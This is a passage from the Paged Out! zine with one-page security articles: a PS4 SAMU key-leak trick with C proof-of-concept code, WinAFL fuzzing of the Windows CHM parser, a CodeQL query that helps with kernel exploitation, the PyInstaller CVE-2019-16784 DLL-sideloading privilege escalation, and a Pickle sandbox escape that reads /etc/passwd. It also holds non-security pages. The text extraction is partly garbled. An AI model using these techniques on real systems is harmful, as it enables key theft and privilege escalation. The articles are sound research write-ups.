https://infosec.exchange/@BednarTildeOne
CC BY 4.0 51
Dumping keys from PS4 Security Assets Management Unit via the
Security/Hacking HMAC trick

The struct looks roughly like this:


Dumping keys from struct msg {

PS4 Security Assets uint32_t cmd; // various bits controlling OP, it is


not extremely important for us to recover the
meaning of all specific bits
Management Unit size_t data_size;
void* buf;

via the HMAC trick size_t data_size_bits; // always data_size * 8


uint16_t key_index;
PS4 delegates its most security-sensitive work ( uint16_t key_size;
encryption/decryption of sensitive material, };
signing requests to online services etc. ) to SAMU -
a security coprocessor running fully isolated from What could go wrong? Typically, to bruteforce a,
the main processing unit and with its own say, AES-128 key, that’s 2^128 operations to try - a
encrypted volatile memory. After compromising long time! However, this API allows you to set a
PS4’s kernel, SAMU represented the most valuable key_size, even if you use a SAMU slot as the key.
target to gain further capabilities within the
system. So, what do we do with this? Simple - we use a
“secure” slot, and set the key size to 1. We encrypt
One function this co-processor exposes is a general or decrypt some random data and save the HMAC.
interface for various encryption, decryption and Then, we run a loop of 256 operations with a
verification operations, including using keys that pre-set key, and provide a 1-byte key, trying all
are securely stored in SAMU ( we will call places possibilities from 0x00 to 0xFF. One of these
where keys are stored “SAMU Slots” ) . This way, operations will yield the same HMAC as the one
the kernel can ask for either encryption or from the key slot operation, and thus we leak one
decryption without ever exposing keys to the byte of the key. This way, guessing the key
kernel. Another useful thing is actually * adding * requires just O(256 * len(key)) operations - easily
new keys to the SAMU slots, if that key was doable in a split second. Minimal POC:
wrapped with another key. This is used extensively
in PS4, as most important keys that make their way HMAC doHmacWithKeySlot(uint16_t key_slot,
to the kernel are wrapped with per-console keys, size_t key_size);
but per-console key is stored securely in SAMU, so HMAC doHmacWithKey(char* key, size_t key_size);
it is impossible to get the raw key, but it is possible
to “mount” it into a new SAMU slot by decrypting char buf[1];
it inside SAMU and setting it up during the course char* key = malloc(key_size);
of one decrypt operation. memset(key, 0, key_size);
I’ll spare everyone the exact details of how for(int i = 0; i < key_size; ++i) {
communication between Main CPU and SAMU is HMAC hmac_slot =
being done, and instead focus on the high level API doHmacWithKeySlot(key_slot, i + 1)
exposed to Main CPU kernel called for(int j = 0; j <= 0xFF; ++j) {
sceSblServiceCrypt. The API accepts a single key[key_size] = j;
parameter, and thus the struct layout depends on HMAC hmac_key = doHmacWithKey(key,i + 1)
the mode you’re operating in. In this article, we’ll if(hmac_slot.Equals(hmac_key)) break;
be focusing on HMAC. To those who have never }
used HMAC - the TLDR is it allows you to combine }
hashing with a key in a more secure way than just return key;
hashing a concatenation of data and key.

52 SAA-ALL 0.0.7
Crashing Windows CHM parser in seconds using WinAFL
Security/Hacking

CRASHING WINDOWS CHM PARSER IN SECONDS USING


WINAFL
One day, my friend @xina1i asked in a chat if anyone had tried fuzzing .hlp files. I did a quick check and found that
.hlp files are no longer present in Windows 10, but .chm files still exist. Curious, I opened a random .chm file to look
around.
I noticed that hh.exe, launched by Explorer, is quite a minimalistic program, being just about 16 kb in size.
Interestingly, it accepts the path to a .chm file as a parameter, which could be useful for fuzzing with WinAFL
(https://github.com/googleprojectzero/winafl). For the time being, I'm focusing on gathering insights from reverse
engineering.
The hh.exe file essentially serves as a loader, calling the doWinMain() function from the hhctrl.ocx file, which is a
standard .dll file. The doWinMain() function is responsible for parsing .chm files and also checks the command line
for additional options. We plan to use the -decompile option, designed for extracting data from a .chm archive
without the need for a graphical user interface. To enhance the efficiency of our fuzzing process, we're considering
patching out the functionality related to file writing. This way, we can focus solely on the .chm parser.
I'll activate full pageheap (https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-and-pageheap) for
the process and start WinAFL. For the input corpus, I've chosen the smallest .chm file from my system and placed it
in the r:\fuzz\in directory.
Here is the complete set of arguments as well as expected behavior on the following screenshot.
afl-fuzz.exe -M 0 -i r:\fuzz\in -o r:\fuzz\out -D r:\dr\bin32 -t 3000 -- -coverage_module
hhctrl.ocx -target_module hhctrl.ocx -target_method doWinMain -call_convention stdcall -nargs 2
-fuzz_iterations 5000 -- hh.exe -decompile r:\fuzz\out_cmd_m0\ @@
As you can see on the last screenshot, the
speed is extremely slow (~10 execs/sec),
but WinAFL was able to find two crashes in
10 minutes. Here are several patches which
you can try to improve the fuzzing speed.
1. Nop UninitializeSession() calls
in doWinMain() in order not to call OLE
initialization on every fuzzing iteration.
2. Nop
CFSClient::WriteStorageContents()
call inside of hhctrl’s DeCompile() which is
responsible for writing extracted files to the
disk.
By doing so, you should be able to get the
first crash in 5 seconds.
Please note that hhctrl.ocx actually calls
itss.dll to parse the file itself. So, in order to
discover more paths, specify itss.dll as
-coverage_module.
I reported four instances of memory corruption to the MSRC (https://msrc.microsoft.com/), but they responded that they
wouldn't be addressing these issues. Their reasoning is that .chm files are generally considered untrusted. Essentially,
opening a .chm file is akin to running an .exe file. So beware!
Here is how a crash may look like in WinDBG
(5260.483c): Access violation - code c0000005 (first chance) 01 00b8e3f0 7bf9687c
First chance exceptions are reported before any exception itss!CPathManager1::CImpIPathManager::FindCacheBlock+0x47
handling. 02 00b8e418 7bf94ebe
This exception may be expected and handled. itss!CPathManager1::CImpIPathManager::FindKeyAndLockBlockSet+0xad
eax=0a606f58 ebx=00b8e3d0 ecx=0a60b000 edx=01000000 esi=0a60afe8 03 00b8eeb0 7bf8e69d
edi=00000000 itss!CPathManager1::CImpIPathManager::FindEntry+0x7e
eip=7bf95e9c esp=00b8e3b0 ebp=00b8e3c8 iopl=0 nv up ei pl 04 00b8f130 7bf8e9c2
zr na pe nc itss!CITFileSystem::CImpITFileSystem::OpenLockBytes+0xbd
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b 05 00b8f158 7bf8d34b
efl=00010246 itss!CITFileSystem::CImpITFileSystem::OpenStream+0x32
itss!CPathManager1::CImpIPathManager::ReadCacheBlock+0x87: 06 00b8f188 7bf8d6ea
7bf95e9c 8139504d474c cmp dword ptr [ecx],4C474D50h itss!CITFileSystem::CImpITFileSystem::OpenSpaceNameList+0x2e
ds:002b:0a60b000=???????? 07 00b8f1f8 7bf8c6cf
0:000> k itss!CITFileSystem::CImpITFileSystem::InitOpenOnLockBytes+0x233
# ChildEBP RetAddr 08 00b8f210 7bf8c64c itss!CITFileSystem::OpenITFSOnLockBytes+0x57
00 00b8e3d0 7bf962e1 09 00b8f230 7bf9ef23 itss!CITFileSystem::OpenITFileSystem+0x8a
itss!CPathManager1::CImpIPathManager::ReadCacheBlock+0x87
0a 00b8f240 7c154595 0c 00b8f4b8 7c15715f hhctrl!CFSClient::Initialize+0x69
itss!CWarehouse::CImpIWarehouse::StgOpenStorage+0x13 0d 00b8f56c 7c156a84 hhctrl!DeCompile+0x39
0b 00b8f480 7c154dbe hhctrl!CFileSystem::Open+0x81

@expend20
https://tw1st.link/2021/12/20/chm
Public Domain 53
Using CodeQL to help exploit a kernel UAF
Security/Hacking

Using CodeQL to help


exploit a kernel UAF
I was exploiting a Linux kernel use-after-free
when I had the need to find kernel structs that were
kmalloc’ed and contained function pointers. Read-
ing the kernel source code or other blog posts was
possible. . . but boring. I thought this would be the
In this example, the call to kzalloc (a
perfect opportunity to learn CodeQL.
KmallocFunc) allocates memory for the dp variable.
CodeQL is a code analysis platform that allows
These KmallocFuncs return a void * pointer, so we
you to query source code with a declarative query
call .getFullyConverted().getType() to get the
language called QL. It is commonly used to model
resulting type: struct intel_digital_port*. Fi-
vulnerabilities, but in this article we’ll use it to help
nally, after removing the levels of indirection with
with exploitation instead.
max_deref, we get struct intel_digital_port
To find these structs, we need to write a CodeQL which is our StructAllocatedByKmalloc. We find
query that gets all structs allocated by kmalloc, all 1334 of these structs.
structs that contain function pointers, and selects
the ones that satisfy both conditions. Structs that contain function pointers
Next, we need structs with function pointer fields
from StructAllocatedByKmalloc s_kmalloc,
or with struct fields (not pointers to struct) that
StructWithFuncPtr s_fptrs
where s_kmalloc = s_fptrs have function pointer fields.
select s_fptrs
We’re left with implementing StructWithFuncPtr
and StructAllocatedByKmalloc.
Structs allocated with kmalloc We can find these structs by creating a QL
To find kmalloc and other functions of the same class named StructWithFuncPtr that extends
family, we define a QL class that extends Function Struct and limits its values to structs with a
and limits its name with the "k[ˆ_]*alloc" regex. field (this.getAField()) of type (.getType())
class KmallocFunc extends Function { FunctionPointerType or StructWithFuncPtr;
KmallocFunc() { good old recursion. We find 1769 of these structs.
this.getName().regexpMatch("k[ˆ_]*alloc")
}} class StructWithFuncPtr extends Struct {
StructWithFuncPtr() {
Then, to find where these functions are called, we exists(FunctionPointerType fptype |
create a QL class that extends FunctionCall and this.getAField().getType() = fptype) or
limits its call target to instances of KmallocFunc. this.getAField().getType()
instanceof StructWithFuncPtr }}
class KmallocFuncCall extends FunctionCall {
KmallocFuncCall() {
this.getTarget() instanceof KmallocFunc Putting it all together
}} With these classes implemented, we can run our
initial query and find 417 structs that contain func-
Finally, to find the structs that are allocated in
tion pointers and are allocated by a function of the
these function calls, we define a QL class that ex-
kmalloc family. . . nice!
tends Struct and limits its value to structs that
To further improve our query, we could sort the
are allocated in a KmallocFuncCall.
resulting function pointers by their call depth from
class StructAllocatedByKmalloc extends Struct{ a syscall handler. This would prioritize the func-
KmallocFuncCall kfc; tion pointers that are more likely to be reachable
StructAllocatedByKmalloc() {
from userland, and thus more likely to be helpful
this = max_deref(
kfc.getFullyConverted().getType()) in exploitation.
}} Full Code: https://gist.github.com/Vasco-
jofra/45e0a547562b8180565cb240fcbd36fb
Let’s see an example!

Vasco Franco
Blog: https://jofrada.pt
Twitter: https://twitter.com/V_jofra
54 SAA-ALL 0.0.7
Exploiting PyInstaller
Security/Hacking

Exploiting 2.2.2 The exploit


1 - Find the “ MEIPIDX ” folder — The exploit
CVE-2019-16784 code has to know when the packaged application is started,
so we set up an infinite loop waiting for a program called
vuln.exe to appear and get its PID.
Then, with the PID, it’s easy to guess the “ MEIPIDX ”
1 Introduction folder name fast enough to win the race condiction, as
PyInstaller is a packager for Python applications. It can
be used to bundle a Python project with the Python there are only 10 possibilities (0-9 and the few first will
interpreter and all the dependencies in order for it to be almost always work).
runnable on a machine without any Python environment
installed.
PyInstaller can create a stand-alone executable file
packaging the interpreter, dependencies and the project
itself together with a bootloader.
2 - Inject the DLL — Like most of Windows executa-
2 The vulnerability bles, the Python interpreter loads the version.dll DLL and
With the packaging of these dependencies, come the re- tries to load it firstly from its current directory. So in
quired DLLs that PyInstaller links dynamically in order order to finalise the exploit, we just have to add into the
to run properly on Windows systems. found “ MEIPIDX ” folder:
This led to the discovery of CVE-2019-16784, which 1. A copy of the legit version.dll renamed as ver-
shows that PyInstaller will load any DLL you may give it, sion2.dll. (to avoid crashes)
leading to privilege escalation using DLL sideloading. 2. A crafted malicious DLL named version.dll which
2.1 Discovery forwards exported functions to version2.dll as well as
When launching the executable, the bootloader is ex- executes the effective (malicious) payload.
ecuted and does the following: And this basically results in a privilege escalation
ˆ Create a temporary folder at the path returned by with an arbitrary code execution as NT AUTHOR-
GetTempPathW() named “ MEIPIDX ” while PIDX ITY\SYSTEM at [3].
is the proccess ID followed by a single digit X which In this exemple, our payload is just launching whoami
increases if the previous one already exists. [1] redirecting the output to C:\pwned.txt.
ˆ Unpack the project and its dependencies in the cre-
ated folder. [2]
ˆ Execute the project from the temporary folder using
the extracted Python interpreter. [3]
During a pentest where an application using PyInstaller
was launched by a service as NT AUTHORITY\SYSTEM,
we started digging into PyInstaller internals to answer the
question: Is there a way to privesc by injecting a crafted
DLL into the temporary folder between [1] and [3]?
As for NT AUTHORITY\SYSTEM : GetTempPathW(),
it returns the world-writable path: C:\Windows\Temp, so 3 The fix
the folder created at [1] using wmkdir() will inherite the All Windows versions of PyInstaller prior to 3.6 are
world-writable permissions from its parent. As the tempo- vulnerable, since wmkdir() does not enforce restricted per-
rary folder is both path guessable (C:\Windows\Temp missions. On Posix-systems mkdtemp() is used, which al-
is not world-readable) and world-writable, the answer is ready enforces permissions, so they are not affected.
YES! The fix is done by implementing a new
2.2 Exploitation pyi win32 mkdir() that enforces proper permissions
2.2.1 Prerequisites for the created folder.
1. A software packaged with the Windows version of an The fixing patch was merged on Jan 5, 2020 with PyIn-
unpatched PyInstaller (prior to PyInstaller v3.6) us- staller version 3.6. So all users have to upgrade to PyIn-
ing the One-File mode. staller 3.6 or newer and rebuild their software.
2. Being able to write inside the temp-folder used by
PyInstaller. (e.g. This is the case if the soft-
ware is launched as a service or as a scheduled A GitHub Security Advisory published for this CVE can be found
task using a system account (temp-folder will be at https://github.com/advisories/GHSA-7fcj-pq9j-wh2r.
C:\Windows\Temp)). The PoC sourcecode used in this article can be found at :
3. To win the race condition, the packaged software https://github.com/AlterSolutions/PyInstallerPrivEsc
The PyInstaller project is in urgent need of funding in order
has to be (re)started after the exploit, so for a service
to maintain, enhance and to make future security fixes happen, see
launched at startup, a service restart is needed (e.g., https://github.com/pyinstaller/pyinstaller/issues/4404 for details.
after a crash or an update). Article initially wrote in early 2020 and delayed by PagedOut!.

Yann GASCUEL& Farid AYOUJIL -


@AlterSolutions https://github.com/AlterSolutions
https://www.alter-solutions.com
SAA-TIP 0.0.7 55
Circumventing Online Compiler Protections
Security/Hacking

Dumping /etc/passwd In Virtual Interpreters by Totally_Not_A_Haxxer

Have you ever wondered about those cool little virtual compilers or virtual
interpreters that you can view on web pages? You may notice that when entering
code into these environments, specifically code that can run system commands,
the online compiler may tell you that these libraries, no matter the language, are
not allowed. But what if I told you that with some trashy vulnerable code you can
easily execute system commands? Take a look at the code in the screenshot
above and see how it errors out. This happens in about any language that you can
think of that has a library for command execution. So, if we wanted to do anything
system related, that is not necessarily possible given the limitations. Or is it O_O?

The code above is written in Python 3, it imports the `Pickle` – a library for
serializing and deserializing Python objects. The issue with Pickle? Well, Pickle is
commonly known for insecure deserialization. In a real scenario, if Pickle is used
and controlled via user input, then, essentially, an attacker with the right motive can
launch system commands and even reverse shells! What does this mean for us?
Well, we can easily take advantage of this vulnerability and execute system
commands - such as dumping the /etc/passwd file :D. Now, some of these
interpreters are base systems. You can verify the type of system by typing `dir`. If
it's a Linux machine, sometimes you won't have basic commands so you have to
build them from the ground up :)

Totally_Not_A_Haxxer
github.com/TotallyNotAHaxxer
instagram.com/Totally_Not_A_Haxxer
56 SAA-TIP 0.0.7
What's still wrong with hacking competitions
Security/Hacking

Google Hackceler8 2021 (end platform but no solves???) Pwn Adventures 2 (yes, these bears have AK-47s, don't ask)
(screenshot by Redford)
Intro
The tragedy of hacking competitions (e.g. CTFs) is that they are extremely boring to watch. While they are absolutely fascinating to
participate in, from the perspective of a potential viewer, it's just a bunch of hackers spending hours upon hours staring at a
console or Ghidra, from time to time adding a line of code to their exploit. And that's because the fun part – the intricate puzzle
solving – happens in their heads.
As such, the competitive hacking scene has been discussing and testing various solutions for years now, and I believe Google's
Hackceler8 got the closest to the desired goal. But, we're not there yet, and there's still ways to go.

The goal
The goal is actually pretty easy to define – a formula for a hacking competition that the audience will enjoy. This actually has three
main elements: a hacking competition, players or teams participating, and the audience. The last one is obvious, but I'm
mentioning it explicitly because it's a new element in the hacking competition equation and also a whole set of new problems (like
stream sniping).
With that, let's look at what has already been tried.

A brief and incomplete history of "more fun to watch" hacking competitions


One obvious thing that is tested is just livestreaming 2 or 4 players attempting to solve a CTF task. This usually includes a video
stream from the players' desktop, as well as expert commentary. Notable examples include Pwny Racing (https://pwny.racing/), as
well as DEF CON CTF Finals LiveCTF (https://livectf.com/).
The tasks in general are on the simple side to make sure they are solvable within reasonable time. Taking a page from esport
competitions, games with matches from 10 to 50 minutes seem to be the most popular. This, unfortunately, means that the beloved
20h+ CTF challenges are a no go.

Something else that was tried was adding visualisations to certain in-competition events, like first blood (first solution of a given
task) or when a team launched an attack during Attack Defense CTFs. As expected, while fun, this isn't really something that makes
the audience stick around. Another idea was to take a page from Pwn2Own and have players demo an exploit on stage.

And finally we get to the – in my opinion – most promising avenue: games. The first CTF I played that incorporated a game was
Ghost in the Shellcode and its Pwn Adventures – a Unity (and later Unreal Engine) based set of MMO games serving as a platform
for several in-game hacking tasks. So, this time around, players had to use their typical RE, exploitation, and cryptography skills, but
also could enjoy some typical game hacking activities. Pretty fun! And perhaps also more appealing towards the audience? After
GITS, at least two more CTFs did the same thing: Insomni'hack CTF had a Unity-based shooter and our Dragon CTF had its oldschool
Arcane Sector MMORPG.

Hackceler8
In early 2020, I pitched internally at Google the idea to make an experimental non-CTF esport hacking competition that basically
combines game hacking, speedrunning, and CTF-like tasks (yes, the fact that you're reading this in another experimental idea of
mine doesn't escape me). The idea caught on and – thanks to the help of a lot of truly amazing people (shout out especially to
jvoisin, Bitshift, ZetaTwo, spq, sirdarckcat, and jakl!) – we actually made it happen. Due to unrelated reasons, it replaced the
pandemic-era online Google CTF Finals in 2020 and 2021, as well as the onsite Google CTF 2022 Finals in London and Google CTF
2023 Finals in Tokyo.
The competition itself used a game as a platform (initially it was a 2D platformer in JavaScript, and later a top-down RPG in Python)
and was split into multiple matches played out between 2 or 4 teams. About 30-45 minutes before each match, the players got the
version of the game that would be used during the match – while the engine and the game itself were roughly the same, certain
pieces of code and map would change to introduce challenge-related bugs and features. After this pre-match time spent on
frantically diffing the code bases and fixing the prepared tooling, the players would get access to the game server, one of their
dedicated machines would start video streaming its desktop, and commentators would start the 45-minute show.
And it was pretty fun to watch (check out e.g. https://www.youtube.com/@Hackceler8 or
https://capturetheflag.withgoogle.com/hackceler8, but also https://github.com/google/google-ctf).

The problem and the way forward


The problem with Hackceler8 was that it reached its entertainment potential only for people who actually knew what was going on
on the screen – i.e. folks who knew the challenges, but also who actually played the game. This actually isn't different from a typical
sport or esport – the more you know about the game, the more fun it is to watch.

As such, I think the next step would be to try to popularize one or two hacking-game platforms, so that more and more people are
familiar with them. Perhaps a way forward would also include the teams and the audience knowing the challenges well in advance
of the competition, with the metagame shifting to who executes them the fastest. A fun twist I always wanted to try was to disallow
any pre-made tooling during the match itself. I.e. you can implement anything you want, but it has to be done after the match
starts. There would be a lot of furious typing, so would Dvorak be meta? Let's make sure mechanical keyboard are obligatory.

The other problem is that while the matches seemingly had 2 or 4 teams competing, there were really no interactions between the
teams – it was just a race against time. Admittedly, this isn't an easy problem to solve. If you get the balance wrong, you end up
with a typical esport game instead of a hacking competition (after all, why solve difficult hacking challenges at all if you can just
headshot your opponents preventing them from reaching the proper place on the map).

Or maybe there is a totally different way to go about it. Let's keep experimenting! Either way, a lot of fun awaits us.

Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
SAA-ALL 0.0.7 57
How to explain Kubernetes to 10-year-olds?
SysAdmin

How to explain Kubernetes to 10-year-olds?

Hi! I’ve heard that you want to know what mommy is doing at work. Let me explain to you what Kubernetes is!

A Kubernetes cluster is like our house: a well-organized place where our whole family, including kids (Containers), father
(Pods), grandfather (ReplicaSet), and great-grandfather (Deployment), coexist. Kubernetes gives us the possibility to manage
applications (family members).

Like every well-organized family, we have a decision-making center, which is, of course, a kitchen called the Control Plane in
Kubernetes. Basically, from the Control Plane, all things like scheduling or monitoring the status of the whole cluster are
managed, similar to how we manage our activities from the kitchen.

The head of our family is like a Master Node, and other family members are like Worker Nodes. The Master Node manages
and coordinates all the activities happening in the home (Kubernetes cluster), ensuring everything runs smoothly and the family
(applications) are happy. Each Worker Node has its own job to do and helps with the tasks assigned by the Master Node. They
work together to ensure everything gets done and the family (applications) stay healthy and strong.

The Deployment is like the great-grandfather. Deployment tells Kubernetes how to run applications in the long term. It creates
and manages sets of Pods, ensuring that there are right numbers of everything. If a family member (Pod) gets sick, which
technically means that the Pod failed, Deployment helps make sure a new healthy one replaces it automatically. Similarly, the
great-grandfather makes sure the family stay strong even when someone gets sick.

The ReplicaSet is like the grandfather who looks after the family every day. It keeps track of a certain number of family
members (Pods) running at any time. If there aren't enough family members, ReplicaSet brings in more to keep the family
stable. Like a grandfather, ReplicaSet takes care of the balance within the Pods, ensuring that each one of the family members
has responsibilities and is not overloaded at the same time.

The Pod is like the father and mother. It's a group of one or more containers that work together. Each container does a specific
job, like a family member having different responsibilities. The Pod takes care of them all, ensuring they have the resources like
CPU and memory, which is similar to a father taking care of the family's needs and creating an environment for kids to grow.

The container is the smallest part, like a baby of the family. Each container runs its own little program or service, and the Pod
takes care of all the containers together, ensuring they get what they need to do their jobs, like a father taking care of a baby's
needs. Containers can evolve and grow the same way kids do.

Katarzyna Brzozowska
(alias: Brzozova)
https://medium.com/@kbrzozova
58 SAA-ALL 0.0.7
WE WANT YOUR ARTICLE!

Would you like to see your article published in the next issue of Paged
Out!?
Here’s how to make that happen:

First, you need an idea that will fit on one page.


That is one of our key requirements, if not the most important. Every article can only occupy one
page. To be more precise, it needs to occupy the space of 515 x 717 pts.

We have a nifty tool that you can use to check if your page size is ok - https://review-
tools.pagedout.institute/

The article has to be on a topic that is fit for Paged Out! Not sure if your topic is?

You can always ask us before you commit to writing. Or you can consult the list here: https://
pagedout.institute/?page=writing.php#article-topics

Once the topic is locked down, then comes the writing, and it has to be done by you. Remember,
you can write about AI but don’t rely on it to do the writing for you ;) Besides, you will do a better
job than it can!

Next, submit the article to us, preferably as a PDF file (you can also use PNGs for art), at
[email protected].

Here is what happens next:

First, you will receive a link to a form from us. The form asks some really important questions,
including which license you would prefer for your submission, details about the title and the name
under which the article should be published, which fonts you have used and the source of images
that are in it.

Remember that both the fonts and the images need to have licenses that allow them to be used
in commercial projects and to be embedded in a PDF.

Once the replies are received, we will work with you on polishing the article. The stages include a
technical review and a language review.
If there are images in your article, we will ask you for an alt text for them.

After the stages are completed, your article will be ready for publishing!

Not all articles have to be written. If you want to draw a cheatsheet, a diagram, or an image,
please do so, we accept such submissions as well.

This is a shorter and more concise version of the content that can be found here:
https://pagedout.institute/?page=writing.php and here:
https://pagedout.institute/?page=cfp.php

The most important thing though is that you enjoy the process of writing and then of getting your
article ready for publication in cooperation with our great team.

Happy writing!

You might also like